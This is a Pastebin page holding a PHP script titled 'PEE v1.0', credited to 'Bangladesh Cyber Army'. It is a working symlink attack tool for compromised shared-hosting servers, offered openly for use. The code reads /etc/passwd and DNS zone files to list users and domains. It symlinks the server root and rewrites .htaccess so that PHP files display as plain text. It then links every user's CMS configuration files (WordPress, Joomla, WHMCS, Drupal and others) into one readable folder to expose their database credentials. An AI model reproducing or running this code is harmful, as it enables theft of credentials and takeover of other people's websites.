3x5w4rup

BCA Symlink Script

Apr 9th, 2014
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.63 KB | None | 0 0
  1. <style type="text/css">
  2.      html,body {
  3.         margin-top: 5px ;
  4.         padding: 0;
  5.         outline: 0;
  6.     }
  7.      
  8.      
  9.     body {
  10.      
  11.        direction: ltr;
  12.        background-color: #000000;
  13.        color: #CCCCCC;
  14.        font-family: Tahoma, Arial, sans-serif;
  15.        font-weight: bold;
  16.        text-align: left ;
  17.     }
  18.      
  19.     input,textarea,select{
  20.     font-weight: bold;A
  21.     color: #FFFFFF;
  22.     dashed #ffffff;
  23.     border: 1px dotted #003300;
  24.     background-color: black;
  25.     padding: 3px
  26.     }
  27.      
  28.     input:hover{
  29.     box-shadow:0px 0px 4px #009900;
  30.      
  31.     }
  32.     .cont a
  33.      
  34.     {
  35.      
  36.      
  37.     text-decoration: none;
  38.     color: #FFFFFF;
  39.      
  40.      
  41.      
  42.     }
  43.     .hedr
  44.     {
  45.     font-size:32px;
  46.     color: #009900;
  47.     text-shadow: 0px 0px 4px #003300 ;
  48.      
  49.      
  50.      
  51.     }
  52.      
  53.      
  54.      
  55.     .td1{
  56.      
  57.      
  58.        border: 1px dotted #022B04;
  59.        padding: 8px;
  60.        border-radius: 20px;
  61.        text-shadow: 0px 0px 2px #003300;
  62.        font-size: 12px;
  63.        font-family: Tahoma;
  64.        font-weight: bold;
  65.       align: center;
  66.     }
  67.      
  68.     .td1 tr{}
  69.      
  70.     .lol{
  71.      text-align: left;
  72.      float: left;
  73.      background: #990000;
  74.     }
  75.     .nop{
  76.      
  77.     width: 300px;
  78.     text-align: center;
  79.     font-size: 10px;
  80.     font-family:Tahoma;
  81.     color: #003300;
  82.      
  83.      
  84.      
  85.     }
  86.     .nop a{
  87.      text-decoration: none;
  88.      color: #003300 ;
  89.      text-shadow: none;
  90.      width: 80px;
  91.      padding: 8px
  92.      
  93.      
  94.     }
  95.     .nop a:hover{
  96.      color: #FFFFFF;
  97.     box-shadow: 0px 0px 4px #006600 ;
  98.      
  99.      
  100.      
  101.      }
  102.     a
  103.     {
  104.     text-decoration: none;
  105.     color: #006600;
  106.      
  107.     }
  108.    
  109.     a:visited {color:#2f4f4f;}
  110.      
  111.     .tmp tr td:hover{
  112.      
  113.     box-shadow: 0px 0px 4px #EEEEEE;
  114.      
  115.     }
  116.     .fot{
  117.      
  118.     font-family:Tahoma, Arial, sans-serif;
  119.      
  120.      font-size: 13pt;
  121.     }
  122.      
  123.     .ir {
  124.      color: #FF0000;
  125.     }
  126.      
  127.    
  128.      
  129.     .tmp tr td{
  130.      
  131.     border: dotted 1px #003300;
  132.      
  133.     padding: 4px ;
  134.     font-size: 14px;
  135.     }
  136.      
  137.     .tmp tr td a {
  138.      text-decoration: none;
  139.      
  140.     }
  141.    
  142.      
  143.      
  144.     .lol a{
  145.      
  146.     font-size: 10px;
  147.      
  148.     }
  149.      
  150.     a:hover {color: red;}
  151.     tr:hover,td:hover{background-color: #000000; color:red;}
  152.      
  153.      
  154.      
  155.      
  156.      
  157.      
  158.      
  159.     </style>
  160. <?
  161. ####################################################
  162. #####PEE v1.0                           ############
  163. #####CODED by taufiquzzaman             ############
  164. #####BANGLADESH CYBER ARMY              ############
  165. ####################################################
  166.  
  167.  
  168. set_time_limit(0);
  169. error_reporting(0);
  170.  
  171. echo '<title>PEE v1.0</title>';
  172.    
  173. function openBaseDir()
  174. {
  175. $openBaseDir = ini_get("open_basedir");
  176. if (!$openBaseDir)
  177.     {
  178.         $openBaseDir = '<font color="green">OFF</font>';
  179.     }
  180.     else
  181.     {
  182.         $openBaseDir = '<font color="red">ON</font>';
  183.     }    
  184.     return $openBaseDir;
  185. }
  186.  
  187.  
  188. echo '
  189.      
  190.    <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
  191.    <td height="100" align="left" class="td1">';
  192.      
  193.     $pg = basename(__FILE__);
  194.      
  195.    
  196.     $safe_mode = @ini_get('safe_mode');
  197.     $dir = @getcwd();
  198.    
  199.     echo "Server :&nbsp;<font color=green>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
  200.     echo "PHP version : <b><font color=green>".@phpversion()."</font></b><br />";
  201.     echo (($safe_mode)?("safe_mode &nbsp;: <b><font color=red>ON</font></b>"):("safe_mode: <b><font color=green>OFF</font></b>"));
  202.     echo "<br />disable_functions : ";
  203.     if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><br>";}else{
  204.      
  205.     echo "<font color=red>$df</font></b><br />";
  206.      
  207.     }
  208.     echo "Open_Basedir: ".openBaseDir()."<br />";
  209.                  
  210.     echo "Pwd : <font color=green><b>".$dir."</font></b><br />";
  211.    
  212.     if(is_readable("/etc/named.conf")){
  213.     echo '[ <font color="green">/etc/named.conf</font> ]';
  214.     }else{
  215.     echo '[ <font color="red">/etc/named.conf</font> ]';
  216.     }
  217.  
  218.     if(is_readable("/etc/passwd")){
  219.     echo '[ <font color="green">/etc/passwd</font> ]';
  220.     }else{
  221.     echo '[ <font color="red">/etc/passwd</font> ]';
  222.     }
  223.  
  224.     if(is_readable("/etc/valiases")){
  225.     echo '[ <font color="green">/etc/valiases exists</font> ]';
  226.    
  227.     }else{
  228.     echo '[ <font color="red">/etc/valiases</font> ]';
  229.     }
  230.  
  231.     if(is_readable("/var/named")){
  232.     echo '[ <font color="green">/var/named</font> ]';
  233.    
  234.     }else{
  235.     echo '[ <font color="red">/var/named</font> ]';
  236.     }  
  237.     echo " &nbsp;&nbsp;&nbsp;&nbsp; [ CODED by P-74 ] [<a href='https://www.facebook.com/BDCyberArmy'> BANGLADESH CYBER ARMY <a>]";
  238.     echo "</td>";
  239.    
  240.     #########################################################################################################################
  241.     #########################################################################################################################
  242.    
  243.    
  244.    
  245.  
  246.  
  247. ##.htaccess
  248. @mkdir('pee',0777);
  249. @symlink("/","pee/root");
  250. $htaccss = "Options all
  251. DirectoryIndex Sux.html
  252. AddType text/plain .php
  253. AddHandler server-parsed .php
  254.  AddType text/plain .html
  255. AddHandler txt .html
  256. Require None
  257. Satisfy Any";
  258.  
  259. file_put_contents("pee/.htaccess",$htaccss);
  260. $etc = file_get_contents("/etc/passwd");
  261. $etcz = explode("\n",$etc);
  262.  
  263.  
  264. ##Symlink to the ROOT
  265. foreach($etcz as $etz){
  266. $etcc = explode(":",$etz);
  267. error_reporting(0);
  268.  
  269. $current_dir = posix_getcwd();
  270. $dir = explode("/",$current_dir);
  271.  
  272. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  273. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  274. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  275. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  276. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
  277. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
  278. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  279. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  280. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  281. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  282. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
  283. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
  284. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
  285. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
  286. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
  287. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
  288. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
  289. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  290. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  291. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  292. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  293. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  294. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  295. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  296. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  297. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  298. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  299. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  300. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  301. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  302. }
  303. #####################
  304.  
  305.  
  306.  
  307.  
  308. ##############################################
  309. echo "
  310.        
  311.          
  312.         <table cellspacing='0' cellpadding='2'  style=' margin:15px' class='tb1'>
  313.            <tr>
  314.            <td  rowspan='2' align='center' class='td1' valign='top' >      
  315.            <div class='nop'>
  316.             <font color='red'>CREATE SYMLINK</font><br><br>
  317.            <a href='?do=var_named' >BY [ /var/named ]</a><br><br>
  318.            <a href='?do=etc_passwd' >BY [ /etc/passwd ]</a><br><br>
  319.             <a href='?do=etc_named.conf' >BY [ /etc/named.conf ]</a><br><br>
  320.             <a href='?do=etc_valiases' >BY [ /etc/valiases ]</a><br><br>
  321.            <a href='?do=posix' >BY [ posix_getpwuid ]</a>
  322.            </td></tr></div>
  323.         ";
  324. ##############################################
  325.  
  326. if(isset($_REQUEST['do'])){
  327. switch ($_REQUEST['do']){
  328. ###################################CASE: var_named
  329. case 'var_named':
  330.  
  331. if(is_readable("/var/named")){
  332. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  333. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  334. $list = scandir("/var/named");
  335. foreach($list as $domain){
  336. if(strpos($domain,".db")){
  337. $i += 1;
  338. $domain = str_replace('.db','',$domain);
  339. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  340.  
  341. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  342. }
  343. }
  344. echo "<center>Total Domains Found: ".$i."</center><br />";
  345. }else{ echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
  346.  
  347. break;
  348. #####################END
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356. ###########CASE: /etc/passwd
  357. case 'etc_passwd':
  358.  
  359.  
  360. error_reporting(0);
  361. $etc = file_get_contents("/etc/passwd");
  362. $etcz = explode("\n",$etc);
  363. if(is_readable("/etc/passwd")){
  364.  
  365. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  366. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
  367.  
  368. $list = scandir("/var/named");
  369.  
  370. foreach($etcz as $etz){
  371. $etcc = explode(":",$etz);
  372.  
  373. foreach($list as $domain){
  374. if(strpos($domain,".db")){
  375. $domain = str_replace('.db','',$domain);
  376. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  377. if($owner['name'] == $etcc[0])
  378. {
  379. $i += 1;
  380. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center><td class='td1'><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  381. }}}}
  382. echo "<center>Total Domains Found: ".$i."</center><br />";}
  383.  
  384. break;
  385. #########################END
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393. ########CASE: etc_named.conf
  394. case 'etc_named.conf':
  395.  
  396. if(is_readable("/etc/named.conf")){
  397. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  398. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  399. $named = file_get_contents("/etc/named.conf");
  400. preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  401. foreach($domains[1] as $domain){
  402. $domain = trim($domain);
  403. $i += 1;
  404. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  405. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  406. }
  407. echo "<center>Total Domains Found: ".$i."</center><br />";
  408.  
  409. } else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
  410.  
  411. break;
  412. ##################################END
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421. #############CASE etc_valiases
  422. case 'etc_valiases':
  423.  
  424. if(is_readable("/etc/valiases")){
  425. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  426. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  427. $list = scandir("/etc/valiases");
  428. foreach($list as $domain){
  429. $i += 1;
  430. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  431. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center><td class='td1'><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  432. }
  433. echo "<center>Total Domains Found: ".$i."</center><br />";
  434. } else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
  435.  
  436. break;
  437. ############END
  438.  
  439.  
  440.  
  441.  
  442.  
  443. ##########CASE posix
  444. case 'posix':
  445.  
  446. echo <<<PEE
  447. <form method='POST'>
  448. <br><br>Input Limit<br>
  449. <input size='20' value='0' name='min' type='text'>
  450. to
  451. <input size='20' value='1024' name='max' type='text'>
  452. <br>
  453. <input value='SYMLINK' name='' type='submit'><br><br>
  454. </form>
  455.  
  456. PEE;
  457. if($_POST){
  458. $min = $_POST['min'];
  459. $max = $_POST['max'];
  460.  
  461. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  462. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  463.  
  464. $p = 0;
  465. error_reporting(0);
  466. $list = scandir("/var/named");
  467. for($p = $min; $min <= $max; $p++)
  468. {
  469.     $user = posix_getpwuid($p);
  470.     if(is_array($user)){
  471.    
  472.     foreach($list as $domain){
  473.     if(strpos($domain,".db")){
  474.     $domain = str_replace('.db','',$domain);
  475.     $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  476.     if($owner['name'] == $user['name'])
  477.     {
  478.     $i += 1;
  479.     echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center><td class='td1'><font color='red'>".$user['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  480.     }
  481.     }
  482.     }  
  483.     }
  484.  
  485. }
  486. echo "<center>Total Domains Found: ".$i."</center><br />";
  487. }
  488.  
  489. break;
  490. #################END
  491.  
  492. }
  493. }
  494.  
  495. ##EOF
  496. ##7.12.12
  497. ?>
Add Comment
Please, Sign In to add comment